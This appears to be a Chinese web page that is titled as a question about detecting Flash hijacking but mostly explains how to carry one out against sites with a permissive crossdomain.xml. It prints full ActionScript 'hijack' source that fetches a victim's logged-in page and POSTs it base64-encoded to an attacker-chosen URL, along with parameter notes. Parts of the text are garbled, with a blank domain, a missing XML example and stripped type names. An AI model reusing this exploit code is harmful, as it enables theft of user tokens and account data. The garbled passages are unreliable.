flash劫持问题如何可以检测?
admin
2023-01-22 17:42:23
0次

通过什么样的办法检测flash是否被劫持?
  iis7网站监控
  网站的劫持、污染、flash劫持可检测。
  Flash 劫持
  当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问www..com/crossdomain.xml
  
  
  
  

  存在以上的情况,着要在
.com找到一个可以上传图片的就可以进行劫持用户权限。
  hijack源码:
  package {
  import flash.display.Sprite;
  import flash.events.Event;
  import flash.net.;
  import flash.utils.ByteArray;
  import flash.text.TextField;
  public class hijack extends Sprite
  {
  private static const _encodeChars:Vector. = _initEncoreChar();
  public function hijack()
  {
  var params:Object=root.loaderInfo.parameters;
  var jpg:URLRequest = new URLRequest(params.jpg);
  jpg.method = URLRequestMethod.GET;
  sendToURL(jpg);
  var request:URLRequest = new URLRequest(params.get);
  request.method = URLRequestMethod.GET;
  var loader:URLLoader=new URLLoader();
  loader.addEventListener(Event.COMPLETE,completeHandler);
  function completeHandler(event:Event):void{
  var data:String=(loader.data);
  var postURLrequest:URLRequest = new URLRequest(params.post);
  postURLrequest.method = URLRequestMethod.POST;
  var postdata:Object = new Array();
  postdata[0]=encode(data);
  postURLrequest.data = postdata[0];
  sendToURL(postURLrequest);
  }
  loader.load(request);
  }
  public static function encode(data:String):String {
  var bytes:ByteArray = new ByteArray();
  bytes.writeUTFBytes(data);
  return encodeByteArray(bytes);
  }
  public static function encodeByteArray(data:ByteArray):String {
  var out:ByteArray = new ByteArray();
  //Presetting the length keep the memory smaller and optimize speed since there is no "grow" needed
  out.length = (2 + data.length - ((data.length + 2) % 3))
4 / 3; //Preset length //1.6 to 1.5 ms
  var i:int = 0;
  var r:int = data.length % 3;
  var len:int = data.length - r;
  var c:uint; //read (3) character AND write (4) characters
  var outPos:int = 0;
  while(i < len) {
  //Read 3 Characters (8bit * 3 = 24 bits)
  c = data[int(i++)] << 16 | data[int(i++)] << 8 | data[int(i++)];
  out[int(outPos++)] = _encodeChars[int(c >>> 18)];
  out[int(outPos++)] = _encodeChars[int(c >>> 12 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c >>> 6 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c & 0x3f)];
  }
  //Need two "=" padding
  if(r == 1) {
  //Read one char, write two chars, write padding
  c = data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 2)];
  out[int(outPos++)] = _encodeChars[int((c & 0x03) << 4)];
  out[int(outPos++)] = 61;
  out[int(outPos++)] = 61;
  }
  //Need one "=" padding
  else if(r == 2) {
  c = data[int(i++)] << 8 | data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 10)];
  out[int(outPos++)] = _encodeChars[int(c >>> 4 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int((c & 0x0f) << 2)];
  out[int(outPos++)] = 61;
  }
  return out.readUTFBytes(out.length);
  }
  private static function _initEncoreChar():Vector. {
  var encodeChars:Vector. = new Vector.(64, true);
  // We could push the number directly
  // but I think it's nice to see the characters (with no overhead on encode/decode)
  var chars:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  for(var i:int = 0; i<64; i++) {
  encodeChars[i] = chars.charCodeAt(i);
  }
  return encodeChars;
  }
  }
  }
  参数说明:
  jpg:域下的图片(为了优先加载crossdomain.xml,否则劫持的接口加载太慢会导致无法劫持)
  get:劫持的接口或者页面
  post:接收劫持过来的页面为base64传输

相关内容

热门资讯

空调连续工作多久需要停机休息 空调连续工作的时间取决于多个因素,包括空调的型号、功率、使用环境和维护情况等。一般来说,空调可以连续...
空调哪个符号是除湿的 空调除湿功能通常用一个水滴形状的符号表示。不同品牌和型号的空调遥控器可能会有所差异,但一般来说,除湿...
格力空调多长时间加一次氟利昂 1、一般情况下,空调对氟利昂的使用量是非常小的,所以在空调使用了四年左右的时候再考虑加也没问题。2、...
空调用多长时间需要加氟一次 一般情况下是五年。当出现以下这几种情况时,空调才需要加氟。1、空调的室内机和室外机各有两个接口,当接...
格调生活·C标思享荟:卡萨帝在... 9月12日的郑州龙湖金融岛,夜风轻拂,灯光璀璨。“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑...
品牌价值破千亿、高端份额持续领... 9月12日,“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑州站”在郑州龙湖金融岛举办。2026...
空调主板坏了修800还是换新的 空调主板坏了是修还是换新,需要考虑多个因素,以下是一些建议:1. 维修成本:如果维修费用较低,比如 ...
空调开多久需要休息多长时间 问题:空调开多久需要休息多长时间回答:1、在使用空调的过程中,一般空调开7~8个小时左右需要休息2~...
中央空调多长时间清洗一次 1、一般空调开机前清洗一次即可,空调开机中间时段再清洗一次,空调关机时清洗一次,这样比较合理。2、空...
中央空调氟利昂多久加一次 看空调制热和制冷程度,很多人的观点认为氟利昂必须一年放一次,其实这个观点是错误的,理解上面有点偏差,...